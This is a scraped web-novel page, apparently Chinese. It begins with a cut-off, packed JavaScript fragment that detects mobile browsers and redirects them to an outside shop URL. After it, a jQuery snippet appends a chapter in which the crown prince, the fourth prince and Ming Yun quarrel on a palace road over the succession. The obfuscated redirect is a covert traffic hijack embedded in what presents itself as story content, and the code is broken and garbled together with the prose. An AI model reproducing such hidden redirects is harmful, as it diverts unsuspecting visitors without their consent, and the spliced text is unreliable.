RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408521|200612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子表情确实不好,抿唇又皱着眉,瞧着像是发过火,又强忍着保持平静的样子。 明昀见状,瞥瞥太子。 他还真有够讨厌四皇子的。 薛侍郎才被革职,太子这话颇有些落井下石的意思啊。 “不劳太子费心。” 四皇子说道, “我没事,我母妃也没事,不过是听了些杂言碎语,惹了母妃伤心。” “那就好。” 太子假笑着关怀道:“若是有什么宫人乱传谣言,四弟也不必心软,只管禀明了母后,母后定然也会秉公处置的。” 不过是为了薛侍郎的事罢了,又哪里论得上是谣言呢? 听了这话,四皇子脸色更差了。 “天色已晚,孤就不多留你们了。” 太子说够了,拱拱手就准备告辞。 大皇子没插得进嘴,见两个人剑拔弩张就紧张地左顾右盼,此时见太子休战,舒了一口气。 五皇子呢,他乐得看两个人吵架,无论是太子难受还是四皇子吃瘪,他都爱看。太子这话一出,只撇了撇嘴,但到底没说什么,正准备走了。 偏这一句话,终于点着了四皇子脑子里的炮仗,一下子把他炸得理智全无。 他怒极反笑。 “呵!用不着太子殿下担心我们母子,太子殿下不如担心担心自己吧!” “也不知道你这太子还能做多久!这‘孤’的自称,还能用到什么时候!” 这话掷地有声。 太子笑容一僵,大皇子也懵了。 明昀抬眼,视线飞向四皇子,见他满脸怒色,神情阴暗又满是嘲讽,只略想了想,便在一片沉默里开口怼了回去。 他语调平静,话里的意思却一点儿也不客气。 “四殿下何出此言?太子殿下忠君爱父,向来勤勉,更何况陛下从未说过易储之言,我倒是不知道,这更易太子的国事何时轮得到四殿下你来做决定了!” “你!” 四皇子更生气了。 他舅父被罢免是拜谁所赐?还不是这个明昀做的好事!坏了他的事还敢在此诋毁他! “是,更易太子当然轮不到我做主——可你说这话难道就好意思了吗?” 四皇子目光冰冷,狠厉地瞪了一眼明昀。 他话说出了口,再没有了收回的余地,可四皇子并不后悔,只是说完了,大脑便也冷静了不少。 宫道上到底不是放狠话的地方,他又瞪了一眼太子,拂袖而去。 “那就走着瞧吧!” 看你们这兄弟情深的样子还能维持多久! 四皇子一甩袖子就走了,脚步极快,片刻就不见了人影。 这场面一时间沉默下来。 大皇子看看这个,看看那个,脑子仿佛卡住了一般说不出来。 五皇子倒是很有兴味,可惜吵得最大声的那个走了,他又不想看见明昀,便也跟着拱拱手。 “太子殿下,”他将太子二字咬了重音。 “我也回府去了,咱们改日再见。” 一直像个鹌鹑似的躲在旁边的六皇子看了看周围,既不敢走,也不敢留。